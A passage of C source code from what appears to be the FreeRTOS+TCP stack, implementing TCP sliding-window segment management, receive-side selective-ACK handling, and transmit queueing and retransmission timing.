/*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowPeekHead( List_t *pxList ) { ListItem_t *pxItem; TCPSegment_t *pxReturn; /* Returns the head of a queue but it won't be detached. */ if( listLIST_IS_EMPTY( pxList ) != pdFALSE ) { pxReturn = NULL; } else { pxItem = ( ListItem_t * ) listGET_HEAD_ENTRY( pxList ); pxReturn = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxItem ); } return pxReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static void vTCPWindowFree( TCPSegment_t *pxSegment ) { /* Free entry pxSegment because it's not used any more. The ownership will be passed back to the segment pool. Unlink it from one of the queues, if any. */ if( listLIST_ITEM_CONTAINER( &( pxSegment->xQueueItem ) ) != NULL ) { uxListRemove( &( pxSegment->xQueueItem ) ); } pxSegment->ulSequenceNumber = 0u; pxSegment->lDataLength = 0l; pxSegment->u.ulFlags = 0u; /* Take it out of xRxSegments/xTxSegments */ if( listLIST_ITEM_CONTAINER( &( pxSegment->xListItem ) ) != NULL ) { uxListRemove( &( pxSegment->xListItem ) ); } /* Return it to xSegmentList */ vListInsertFifo( &xSegmentList, &( pxSegment->xListItem ) ); } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) void vTCPWindowDestroy( TCPWindow_t *pxWindow ) { List_t * pxSegments; BaseType_t xRound; TCPSegment_t *pxSegment; /* Destroy a window. A TCP window doesn't serve any more. Return all owned segments to the pool. In order to save code, it will make 2 rounds, one to remove the segments from xRxSegments, and a second round to clear xTxSegments*/ for( xRound = 0; xRound < 2; xRound++ ) { if( xRound != 0 ) { pxSegments = &( pxWindow->xRxSegments ); } else { pxSegments = &( pxWindow->xTxSegments ); } if( listLIST_IS_INITIALISED( pxSegments ) != pdFALSE ) { while( listCURRENT_LIST_LENGTH( pxSegments ) > 0U ) { pxSegment = ( TCPSegment_t * ) listGET_OWNER_OF_HEAD_ENTRY( pxSegments ); vTCPWindowFree( pxSegment ); } } } } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ void vTCPWindowCreate( TCPWindow_t *pxWindow, uint32_t ulRxWindowLength, uint32_t ulTxWindowLength, uint32_t ulAckNumber, uint32_t ulSequenceNumber, uint32_t ulMSS ) { /* Create and initialize a window. */ #if( ipconfigUSE_TCP_WIN == 1 ) { if( xTCPSegments == NULL ) { prvCreateSectors(); } vListInitialise( &pxWindow->xTxSegments ); vListInitialise( &pxWindow->xRxSegments ); vListInitialise( &pxWindow->xPriorityQueue ); /* Priority queue: segments which must be sent immediately */ vListInitialise( &pxWindow->xTxQueue ); /* Transmit queue: segments queued for transmission */ vListInitialise( &pxWindow->xWaitQueue ); /* Waiting queue: outstanding segments */ } #endif /* ipconfigUSE_TCP_WIN == 1 */ if( xTCPWindowLoggingLevel != 0 ) { FreeRTOS_debug_printf( ( "vTCPWindowCreate: for WinLen = Rx/Tx: %lu/%lu\n", ulRxWindowLength, ulTxWindowLength ) ); } pxWindow->xSize.ulRxWindowLength = ulRxWindowLength; pxWindow->xSize.ulTxWindowLength = ulTxWindowLength; vTCPWindowInit( pxWindow, ulAckNumber, ulSequenceNumber, ulMSS ); } /*-----------------------------------------------------------*/ void vTCPWindowInit( TCPWindow_t *pxWindow, uint32_t ulAckNumber, uint32_t ulSequenceNumber, uint32_t ulMSS ) { const int32_t l500ms = 500; pxWindow->u.ulFlags = 0ul; pxWindow->u.bits.bHasInit = pdTRUE_UNSIGNED; if( ulMSS != 0ul ) { if( pxWindow->usMSSInit != 0u ) { pxWindow->usMSSInit = ( uint16_t ) ulMSS; } if( ( ulMSS < ( uint32_t ) pxWindow->usMSS ) || ( pxWindow->usMSS == 0u ) ) { pxWindow->xSize.ulRxWindowLength = ( pxWindow->xSize.ulRxWindowLength / ulMSS ) * ulMSS; pxWindow->usMSS = ( uint16_t ) ulMSS; } } #if( ipconfigUSE_TCP_WIN == 0 ) { pxWindow->xTxSegment.lMaxLength = ( int32_t ) pxWindow->usMSS; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*Start with a timeout of 2 * 500 ms (1 sec). */ pxWindow->lSRTT = l500ms; /* Just for logging, to print relative sequence numbers. */ pxWindow->rx.ulFirstSequenceNumber = ulAckNumber; /* The segment asked for in the next transmission. */ pxWindow->rx.ulCurrentSequenceNumber = ulAckNumber; /* The right-hand side of the receive window. */ pxWindow->rx.ulHighestSequenceNumber = ulAckNumber; pxWindow->tx.ulFirstSequenceNumber = ulSequenceNumber; /* The segment asked for in next transmission. */ pxWindow->tx.ulCurrentSequenceNumber = ulSequenceNumber; /* The sequence number given to the next outgoing byte to be added is maintained by lTCPWindowTxAdd(). */ pxWindow->ulNextTxSequenceNumber = ulSequenceNumber; /* The right-hand side of the transmit window. */ pxWindow->tx.ulHighestSequenceNumber = ulSequenceNumber; pxWindow->ulOurSequenceNumber = ulSequenceNumber; } /*-----------------------------------------------------------*/ /*============================================================================= * * ###### # # * # # # # * # # # # * # # #### * ###### ## * # ## #### * # # # # * # # # # * ### ## # # * Rx functions * *=============================================================================*/ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowRxConfirm( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, uint32_t ulLength ) { TCPSegment_t *pxBest = NULL; const ListItem_t *pxIterator; uint32_t ulNextSequenceNumber = ulSequenceNumber + ulLength; const MiniListItem_t* pxEnd = ( const MiniListItem_t* ) listGET_END_MARKER( &pxWindow->xRxSegments ); TCPSegment_t *pxSegment; /* A segment has been received with sequence number 'ulSequenceNumber', where 'ulCurrentSequenceNumber == ulSequenceNumber', which means that exactly this segment was expected. xTCPWindowRxConfirm() will check if there is already another segment with a sequence number between (ulSequenceNumber) and (ulSequenceNumber+ulLength). Normally none will be found, because the next RX segment should have a sequence number equal to '(ulSequenceNumber+ulLength)'. */ /* Iterate through all RX segments that are stored: */ for( pxIterator = ( const ListItem_t * ) listGET_NEXT( pxEnd ); pxIterator != ( const ListItem_t * ) pxEnd; pxIterator = ( const ListItem_t * ) listGET_NEXT( pxIterator ) ) { pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxIterator ); /* And see if there is a segment for which: 'ulSequenceNumber' <= 'pxSegment->ulSequenceNumber' < 'ulNextSequenceNumber' If there are more matching segments, the one with the lowest sequence number shall be taken */ if( ( xSequenceGreaterThanOrEqual( pxSegment->ulSequenceNumber, ulSequenceNumber ) != 0 ) && ( xSequenceLessThan( pxSegment->ulSequenceNumber, ulNextSequenceNumber ) != 0 ) ) { if( ( pxBest == NULL ) || ( xSequenceLessThan( pxSegment->ulSequenceNumber, pxBest->ulSequenceNumber ) != 0 ) ) { pxBest = pxSegment; } } } if( ( pxBest != NULL ) && ( ( pxBest->ulSequenceNumber != ulSequenceNumber ) || ( pxBest->lDataLength != ( int32_t ) ulLength ) ) ) { FreeRTOS_flush_logging(); FreeRTOS_debug_printf( ( "xTCPWindowRxConfirm[%u]: search %lu (+%ld=%lu) found %lu (+%ld=%lu)\n", pxWindow->usPeerPortNumber, ulSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, ulLength, ulSequenceNumber + ulLength - pxWindow->rx.ulFirstSequenceNumber, pxBest->ulSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, pxBest->lDataLength, pxBest->ulSequenceNumber + ( ( uint32_t ) pxBest->lDataLength ) - pxWindow->rx.ulFirstSequenceNumber ) ); } return pxBest; } #endif /* ipconfgiUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) int32_t lTCPWindowRxCheck( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, uint32_t ulLength, uint32_t ulSpace ) { uint32_t ulCurrentSequenceNumber, ulLast, ulSavedSequenceNumber; int32_t lReturn, lDistance; TCPSegment_t *pxFound; /* If lTCPWindowRxCheck( ) returns == 0, the packet will be passed directly to user (segment is expected). If it returns a positive number, an earlier packet is missing, but this packet may be stored. If negative, the packet has already been stored, or it is out-of-order, or there is not enough space. As a side-effect, pxWindow->ulUserDataLength will get set to non-zero, if more Rx data may be passed to the user after this packet. */ ulCurrentSequenceNumber = pxWindow->rx.ulCurrentSequenceNumber; /* For Selective Ack (SACK), used when out-of-sequence data come in. */ pxWindow->ucOptionLength = 0u; /* Non-zero if TCP-windows contains data which must be popped. */ pxWindow->ulUserDataLength = 0ul; if( ulCurrentSequenceNumber == ulSequenceNumber ) { /* This is the packet with the lowest sequence number we're waiting for. It can be passed directly to the rx stream. */ if( ulLength > ulSpace ) { FreeRTOS_debug_printf( ( "lTCPWindowRxCheck: Refuse %lu bytes, due to lack of space (%lu)\n", ulLength, ulSpace ) ); lReturn = -1; } else { ulCurrentSequenceNumber += ulLength; if( listCURRENT_LIST_LENGTH( &( pxWindow->xRxSegments ) ) != 0 ) { ulSavedSequenceNumber = ulCurrentSequenceNumber; /* Clean up all sequence received between ulSequenceNumber and ulSequenceNumber + ulLength since they are duplicated. If the server is forced to retransmit packets several time in a row it might send a batch of concatenated packet for speed. So we cannot rely on the packets between ulSequenceNumber and ulSequenceNumber + ulLength to be sequential and it is better to just clean them out. */ do { pxFound = xTCPWindowRxConfirm( pxWindow, ulSequenceNumber, ulLength ); if ( pxFound != NULL ) { /* Remove it because it will be passed to user directly. */ vTCPWindowFree( pxFound ); } } while ( pxFound ); /* Check for following segments that are already in the queue and increment ulCurrentSequenceNumber. */ while( ( pxFound = xTCPWindowRxFind( pxWindow, ulCurrentSequenceNumber ) ) != NULL ) { ulCurrentSequenceNumber += ( uint32_t ) pxFound->lDataLength; /* As all packet below this one have been passed to the user it can be discarded. */ vTCPWindowFree( pxFound ); } if( ulSavedSequenceNumber != ulCurrentSequenceNumber ) { /* After the current data-package, there is more data to be popped. */ pxWindow->ulUserDataLength = ulCurrentSequenceNumber - ulSavedSequenceNumber; if( xTCPWindowLoggingLevel >= 1 ) { FreeRTOS_debug_printf( ( "lTCPWindowRxCheck[%d,%d]: retran %lu (Found %lu bytes at %lu cnt %ld)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, ulSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, pxWindow->ulUserDataLength, ulSavedSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, listCURRENT_LIST_LENGTH( &pxWindow->xRxSegments ) ) ); } } } pxWindow->rx.ulCurrentSequenceNumber = ulCurrentSequenceNumber; /* Packet was expected, may be passed directly to the socket buffer or application. Store the packet at offset 0. */ lReturn = 0; } } else if( ulCurrentSequenceNumber == ( ulSequenceNumber + 1UL ) ) { /* Looks like a TCP keep-alive message. Do not accept/store Rx data ulUserDataLength = 0. Not packet out-of-sync. Just reply to it. */ lReturn = -1; } else { /* The packet is not the one expected. See if it falls within the Rx window so it can be stored. */ /* An "out-of-sequence" segment was received, must have missed one. Prepare a SACK (Selective ACK). */ ulLast = ulSequenceNumber + ulLength; lDistance = ( int32_t ) ( ulLast - ulCurrentSequenceNumber ); if( lDistance <= 0 ) { /* An earlier has been received, must be a retransmission of a packet that has been accepted already. No need to send out a Selective ACK (SACK). */ lReturn = -1; } else if( lDistance > ( int32_t ) ulSpace ) { /* The new segment is ahead of rx.ulCurrentSequenceNumber. The sequence number of this packet is too far ahead, ignore it. */ FreeRTOS_debug_printf( ( "lTCPWindowRxCheck: Refuse %lu+%lu bytes, due to lack of space (%lu)\n", lDistance, ulLength, ulSpace ) ); lReturn = -1; } else { /* See if there is more data in a contiguous block to make the SACK describe a longer range of data. */ /* TODO: SACK's may also be delayed for a short period * This is useful because subsequent packets will be SACK'd with * single one message */ while( ( pxFound = xTCPWindowRxFind( pxWindow, ulLast ) ) != NULL ) { ulLast += ( uint32_t ) pxFound->lDataLength; } if( xTCPWindowLoggingLevel >= 1 ) { FreeRTOS_debug_printf( ( "lTCPWindowRxCheck[%d,%d]: seqnr %lu exp %lu (dist %ld) SACK to %lu\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, ulSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, ulCurrentSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, ( BaseType_t ) ( ulSequenceNumber - ulCurrentSequenceNumber ), /* want this signed */ ulLast - pxWindow->rx.ulFirstSequenceNumber ) ); } /* Now prepare the SACK message. Code OPTION_CODE_SINGLE_SACK already in network byte order. */ pxWindow->ulOptionsData[0] = OPTION_CODE_SINGLE_SACK; /* First sequence number that we received. */ pxWindow->ulOptionsData[1] = FreeRTOS_htonl( ulSequenceNumber ); /* Last + 1 */ pxWindow->ulOptionsData[2] = FreeRTOS_htonl( ulLast ); /* Which make 12 (3*4) option bytes. */ pxWindow->ucOptionLength = 3 * sizeof( pxWindow->ulOptionsData[ 0 ] ); pxFound = xTCPWindowRxFind( pxWindow, ulSequenceNumber ); if( pxFound != NULL ) { /* This out-of-sequence packet has been received for a second time. It is already stored but do send a SACK again. */ lReturn = -1; } else { pxFound = xTCPWindowRxNew( pxWindow, ulSequenceNumber, ( int32_t ) ulLength ); if( pxFound == NULL ) { /* Can not send a SACK, because the segment cannot be stored. */ pxWindow->ucOptionLength = 0u; /* Needs to be stored but there is no segment available. */ lReturn = -1; } else { if( xTCPWindowLoggingLevel != 0 ) { FreeRTOS_debug_printf( ( "lTCPWindowRxCheck[%u,%u]: seqnr %lu (cnt %lu)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, ulSequenceNumber - pxWindow->rx.ulFirstSequenceNumber, listCURRENT_LIST_LENGTH( &pxWindow->xRxSegments ) ) ); FreeRTOS_flush_logging( ); } /* Return a positive value. The packet may be accepted and stored but an earlier packet is still missing. */ lReturn = ( int32_t ) ( ulSequenceNumber - ulCurrentSequenceNumber ); } } } } return lReturn; } #endif /* ipconfgiUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ /*============================================================================= * * ######### # # * # # # # # * # # # * # #### * # ## * # #### * # # # * # # # * ##### # # * * Tx functions * *=============================================================================*/ #if( ipconfigUSE_TCP_WIN == 1 ) static int32_t lTCPIncrementTxPosition( int32_t lPosition, int32_t lMax, int32_t lCount ) { /* +TCP stores data in circular buffers. Calculate the next position to store. */ lPosition += lCount; if( lPosition >= lMax ) { lPosition -= lMax; } return lPosition; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) int32_t lTCPWindowTxAdd( TCPWindow_t *pxWindow, uint32_t ulLength, int32_t lPosition, int32_t lMax ) { int32_t lBytesLeft = ( int32_t ) ulLength, lToWrite; int32_t lDone = 0; TCPSegment_t *pxSegment = pxWindow->pxHeadSegment; /* Puts a message in the Tx-window (after buffer size has been verified). */ if( pxSegment != NULL ) { if( pxSegment->lDataLength < pxSegment->lMaxLength ) { if( ( pxSegment->u.bits.bOutstanding == pdFALSE_UNSIGNED ) && ( pxSegment->lDataLength != 0 ) ) { /* Adding data to a segment that was already in the TX queue. It will be filled-up to a maximum of MSS (maximum segment size). */ lToWrite = FreeRTOS_min_int32( lBytesLeft, pxSegment->lMaxLength - pxSegment->lDataLength ); pxSegment->lDataLength += lToWrite; if( pxSegment->lDataLength >= pxSegment->lMaxLength ) { /* This segment is full, don't add more bytes. */ pxWindow->pxHeadSegment = NULL; } lBytesLeft -= lToWrite; /* ulNextTxSequenceNumber is the sequence number of the next byte to be stored for transmission. */ pxWindow->ulNextTxSequenceNumber += ( uint32_t ) lToWrite; /* Increased the return value. */ lDone += lToWrite; /* Some detailed logging, for those who're interested. */ if( ( xTCPWindowLoggingLevel >= 2 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != 0 ) ) { FreeRTOS_debug_printf( ( "lTCPWindowTxAdd: Add %4lu bytes for seqNr %lu len %4lu (nxt %lu) pos %lu\n", ulLength, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxSegment->lDataLength, pxWindow->ulNextTxSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxSegment->lStreamPos ) ); FreeRTOS_flush_logging( ); } /* Calculate the next position in the circular data buffer, knowing its maximum length 'lMax'. */ lPosition = lTCPIncrementTxPosition( lPosition, lMax, lToWrite ); } } } while( lBytesLeft > 0 ) { /* The current transmission segment is full, create new segments as needed. */ pxSegment = xTCPWindowTxNew( pxWindow, pxWindow->ulNextTxSequenceNumber, pxWindow->usMSS ); if( pxSegment != NULL ) { /* Store as many as needed, but no more than the maximum (MSS). */ lToWrite = FreeRTOS_min_int32( lBytesLeft, pxSegment->lMaxLength ); pxSegment->lDataLength = lToWrite; pxSegment->lStreamPos = lPosition; lBytesLeft -= lToWrite; lPosition = lTCPIncrementTxPosition( lPosition, lMax, lToWrite ); pxWindow->ulNextTxSequenceNumber += ( uint32_t ) lToWrite; lDone += lToWrite; /* Link this segment in the Tx-Queue. */ vListInsertFifo( &( pxWindow->xTxQueue ), &( pxSegment->xQueueItem ) ); /* Let 'pxHeadSegment' point to this segment if there is still space. */ if( pxSegment->lDataLength < pxSegment->lMaxLength ) { pxWindow->pxHeadSegment = pxSegment; } else { pxWindow->pxHeadSegment = NULL; } if( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != 0 ) { if( ( xTCPWindowLoggingLevel >= 3 ) || ( ( xTCPWindowLoggingLevel >= 2 ) && ( pxWindow->pxHeadSegment != NULL ) ) ) { FreeRTOS_debug_printf( ( "lTCPWindowTxAdd: New %4ld bytes for seqNr %lu len %4lu (nxt %lu) pos %lu\n", ulLength, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxSegment->lDataLength, pxWindow->ulNextTxSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxSegment->lStreamPos ) ); FreeRTOS_flush_logging( ); } } } else { /* A sever situation: running out of segments for transmission. No more data can be sent at the moment. */ if( lDone != 0 ) { FreeRTOS_debug_printf( ( "lTCPWindowTxAdd: Sorry all buffers full (cancel %ld bytes)\n", lBytesLeft ) ); } break; } } return lDone; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) BaseType_t xTCPWindowTxDone( TCPWindow_t *pxWindow ) { return listLIST_IS_EMPTY( ( &pxWindow->xTxSegments) ); } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static BaseType_t prvTCPWindowTxHasSpace( TCPWindow_t *pxWindow, uint32_t ulWindowSize ) { uint32_t ulTxOutstanding; BaseType_t xHasSpace; TCPSegment_t *pxSegment; /* This function will look if there is new transmission data. It will return true if there is data to be sent. */ pxSegment = xTCPWindowPeekHead( &( pxWindow->xTxQueue ) ); if( pxSegment == NULL ) { xHasSpace = pdFALSE; } else { /* How much data is outstanding, i.e. how much data has been sent but not yet acknowledged ? */ if( pxWindow->tx.ulHighestSequenceNumber >= pxWindow->tx.ulCurrentSequenceNumber ) { ulTxOutstanding = pxWindow->tx.ulHighestSequenceNumber - pxWindow->tx.ulCurrentSequenceNumber; } else { ulTxOutstanding = 0UL; } /* Subtract this from the peer's space. */ ulWindowSize -= FreeRTOS_min_uint32( ulWindowSize, ulTxOutstanding ); /* See if the next segment may be sent. */ if( ulWindowSize >= ( uint32_t ) pxSegment->lDataLength ) { xHasSpace = pdTRUE; } else { xHasSpace = pdFALSE; } /* If 'xHasSpace', it looks like the peer has at least space for 1 more new segment of size MSS. xSize.ulTxWindowLength is the self-imposed limitation of the transmission window (in case of many resends it may be decreased). */ if( ( ulTxOutstanding != 0UL ) && ( pxWindow->xSize.ulTxWindowLength < ulTxOutstanding + ( ( uint32_t ) pxSegment->lDataLength ) ) ) { xHasSpace = pdFALSE; } } return xHasSpace; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) BaseType_t xTCPWindowTxHasData( TCPWindow_t *pxWindow, uint32_t ulWindowSize, TickType_t *pulDelay ) { TCPSegment_t *pxSegment; BaseType_t xReturn; TickType_t ulAge, ulMaxAge; *pulDelay = 0u; if( listLIST_IS_EMPTY( &pxWindow->xPriorityQueue ) == pdFALSE ) { /* No need to look at retransmissions or new transmission as long as there are priority segments. *pulDelay equals zero, meaning it must be sent out immediately. */ xReturn = pdTRUE; } else { pxSegment = xTCPWindowPeekHead( &( pxWindow->xWaitQueue ) ); if( pxSegment != NULL ) { /* There is an outstanding segment, see if it is time to resend it. */ ulAge = ulTimerGetAge( &pxSegment->xTransmitTimer ); /* After a packet has been sent for the first time, it will wait '1 * lSRTT' ms for an ACK. A second time it will wait '2 * lSRTT' ms, each time doubling the time-out */ ulMaxAge = ( 1u << pxSegment->u.bits.ucTransmitCount ) * ( ( uint32_t ) pxWindow->lSRTT ); if( ulMaxAge > ulAge ) { /* A segment must be sent after this amount of msecs */ *pulDelay = ulMaxAge - ulAge; } xReturn = pdTRUE; } else { /* No priority segment, no outstanding data, see if there is new transmission data. */ pxSegment = xTCPWindowPeekHead( &pxWindow->xTxQueue ); /* See if it fits in the peer's reception window. */ if( pxSegment == NULL ) { xReturn = pdFALSE; } else if( prvTCPWindowTxHasSpace( pxWindow, ulWindowSize ) == pdFALSE ) { /* Too many outstanding messages. */ xReturn = pdFALSE; } else if( ( pxWindow->u.bits.bSendFullSize != pdFALSE_UNSIGNED ) && ( pxSegment->lDataLength < pxSegment->lMaxLength ) ) { /* 'bSendFullSize' is a special optimisation. If true, the driver will only sent completely filled packets (of MSS bytes). */ xReturn = pdFALSE; } else { xReturn = pdTRUE; } } } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) uint32_t ulTCPWindowTxGet( TCPWindow_t *pxWindow, uint32_t ulWindowSize, int32_t *plPosition ) { TCPSegment_t *pxSegment; uint32_t ulMaxTime; uint32_t ulReturn = ~0UL; /* Fetches data to be sent-out now. Priority messages: segments with a resend need no check current sliding window size. */ pxSegment = xTCPWindowGetHead( &( pxWindow->xPriorityQueue ) ); pxWindow->ulOurSequenceNumber = pxWindow->tx.ulHighestSequenceNumber; if( pxSegment == NULL ) { /* Waiting messages: outstanding messages with a running timer neither check peer's reception window size because these packets have been sent earlier. */ pxSegment = xTCPWindowPeekHead( &( pxWindow->xWaitQueue ) ); if( pxSegment != NULL ) { /* Do check the timing. */ ulMaxTime = ( 1u << pxSegment->u.bits.ucTransmitCount ) * ( ( uint32_t ) pxWindow->lSRTT ); if( ulTimerGetAge( &pxSegment->xTransmitTimer ) > ulMaxTime ) { /* A normal (non-fast) retransmission. Move it from the head of the waiting queue. */ pxSegment = xTCPWindowGetHead( &( pxWindow->xWaitQueue ) ); pxSegment->u.bits.ucDupAckCount = pdFALSE_UNSIGNED; /* Some detailed logging. */ if( ( xTCPWindowLoggingLevel != 0 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != 0 ) ) { FreeRTOS_debug_printf( ( "ulTCPWindowTxGet[%u,%u]: WaitQueue %ld bytes for sequence number %lu (%lX)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, pxSegment->lDataLength, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, pxSegment->ulSequenceNumber ) ); FreeRTOS_flush_logging( ); } } else { pxSegment = NULL; } } if( pxSegment == NULL ) { /* New messages: sent-out for the first time. Check current sliding window size of peer. */ pxSegment = xTCPWindowPeekHead( &( pxWindow->xTxQueue ) ); if( pxSegment == NULL ) { /* No segments queued. */ ulReturn = 0UL; } else if( ( pxWindow->u.bits.bSendFullSize != pdFALSE_UNSIGNED ) && ( pxSegment->lDataLength < pxSegment->lMaxLength ) ) { /* A segment has been queued but the driver waits until it has a full size of MSS. */ ulReturn = 0; } else if( prvTCPWindowTxHasSpace( pxWindow, ulWindowSize ) == pdFALSE ) { /* Peer has no more space at this moment. */ ulReturn = 0; } else { /* Move it out of the Tx queue. */ pxSegment = xTCPWindowGetHead( &( pxWindow->xTxQueue ) ); /* Don't let pxHeadSegment point to this segment any more, so no more data will be added. */ if( pxWindow->pxHeadSegment == pxSegment ) { pxWindow->pxHeadSegment = NULL; } /* pxWindow->tx.highest registers the highest sequence number in our transmission window. */ pxWindow->tx.ulHighestSequenceNumber = pxSegment->ulSequenceNumber + ( ( uint32_t ) pxSegment->lDataLength ); /* ...and more detailed logging */ if( ( xTCPWindowLoggingLevel >= 2 ) && ( ipconfigTCP_MAY_LOG_PORT( pxWindow->usOurPortNumber ) != pdFALSE ) ) { FreeRTOS_debug_printf( ( "ulTCPWindowTxGet[%u,%u]: XmitQueue %ld bytes for sequence number %lu (ws %lu)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, pxSegment->lDataLength, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulWindowSize ) ); FreeRTOS_flush_logging( ); } } } } else { /* There is a priority segment. It doesn't need any checking for space or timeouts. */ if( xTCPWindowLoggingLevel != 0 ) { FreeRTOS_debug_printf( ( "ulTCPWindowTxGet[%u,%u]: PrioQueue %ld bytes for sequence number %lu (ws %lu)\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, pxSegment->lDataLength, pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber, ulWindowSize ) ); FreeRTOS_flush_logging( ); } } /* See if it has already been determined to return 0. */ if( ulReturn != 0UL ) { configASSERT( listLIST_ITEM_CONTAINER( &(pxSegment->xQueueItem ) ) == NULL ); /* Now that the segment will be transmitted, add it to the tail of the waiting queue. */ vListInsertFifo( &pxWindow->xWaitQueue, &pxSegment->xQueueItem ); /* And mark it as outstanding. */ pxSegment->u.bits.bOutstanding = pdTRUE_UNSIGNED; /* Administer the transmit count, needed for fast retransmissions. */ ( pxSegment->u.bits.ucTransmitCount )++; /* If there have been several retransmissions (4), decrease the size of the transmission window to at most 2 times MSS. */ if( pxSegment->u.bits.ucTransmitCount == MAX_TRANSMIT_COUNT_USING_LARGE_WINDOW ) { if( pxWindow->xSize.ulTxWindowLength > ( 2U * pxWindow->usMSS ) ) { FreeRTOS_debug_printf( ( "ulTCPWindowTxGet[%u - %d]: Change Tx window: %lu -> %u\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, pxWindow->xSize.ulTxWindowLength, 2 * pxWindow->usMSS ) ); pxWindow->xSize.ulTxWindowLength = ( 2UL * pxWindow->usMSS ); } } /* Clear the transmit timer. */ vTCPTimerSet( &( pxSegment->xTransmitTimer ) ); pxWindow->ulOurSequenceNumber = pxSegment->ulSequenceNumber; /* Inform the caller where to find the data within the queue. */ *plPosition = pxSegment->lStreamPos; /* And return the length of the data segment */ ulReturn = ( uint32_t ) pxSegment->lDataLength; } return ulReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static uint32_t prvTCPWindowTxCheckAck( TCPWindow_t *pxWindow, uint32_t ulFirst, uint32_t ulLast ) { uint32_t ulBytesConfirmed = 0u; uint32_t ulSequenceNumber = ulFirst, ulDataLength; const ListItem_t *pxIterator; const MiniListItem_t *pxEnd = ( const MiniListItem_t* )listGET_END_MARKER( &pxWindow->xTxSegments ); BaseType_t xDoUnlink; TCPSegment_t *pxSegment; /* An acknowledgement or a selective ACK (SACK) was received. See if some outstanding data may be removed from the transmission queue(s). All TX segments for which ( ( ulSequenceNumber >= ulFirst ) && ( ulSequenceNumber < ulLast ) in a contiguous block. Note that the segments are stored in xTxSegments in a strict sequential order. */ /* SRTT[i] = (1-a) * SRTT[i-1] + a * RTT 0 < a < 1; usually a = 1/8 RTO = 2 * SRTT where: RTT is Round Trip Time SRTT is Smoothed RTT RTO is Retransmit timeout A Smoothed RTT will increase quickly, but it is conservative when becoming smaller. */ for( pxIterator = ( const ListItem_t * ) listGET_NEXT( pxEnd ); ( pxIterator != ( const ListItem_t * ) pxEnd ) && ( xSequenceLessThan( ulSequenceNumber, ulLast ) != 0 ); ) { xDoUnlink = pdFALSE; pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxIterator ); /* Move to the next item because the current item might get removed. */ pxIterator = ( const ListItem_t * ) listGET_NEXT( pxIterator ); /* Continue if this segment does not fall within the ACK'd range. */ if( xSequenceGreaterThan( ulSequenceNumber, pxSegment->ulSequenceNumber ) != pdFALSE ) { continue; } /* Is it ready? */ if( ulSequenceNumber != pxSegment->ulSequenceNumber ) { break; } ulDataLength = ( uint32_t ) pxSegment->lDataLength; if( pxSegment->u.bits.bAcked == pdFALSE_UNSIGNED ) { if( xSequenceGreaterThan( pxSegment->ulSequenceNumber + ( uint32_t )ulDataLength, ulLast ) != pdFALSE ) { /* What happens? Only part of this segment was accepted, probably due to WND limits AAAAAAA BBBBBBB << acked aaaaaaa aaaa << sent */ #if( ipconfigHAS_DEBUG_PRINTF != 0 ) { uint32_t ulFirstSeq = pxSegment->ulSequenceNumber - pxWindow->tx.ulFirstSequenceNumber; FreeRTOS_debug_printf( ( "prvTCPWindowTxCheckAck[%u.%u]: %lu - %lu Partial sequence number %lu - %lu\n", pxWindow->usPeerPortNumber, pxWindow->usOurPortNumber, ulFirstSeq - pxWindow->tx.ulFirstSequenceNumber, ulLast - pxWindow->tx.ulFirstSequenceNumber, ulFirstSeq, ulFirstSeq + ulDataLength ) ); } #endif /* ipconfigHAS_DEBUG_PRINTF */ break; } /* This segment is fully ACK'd, set 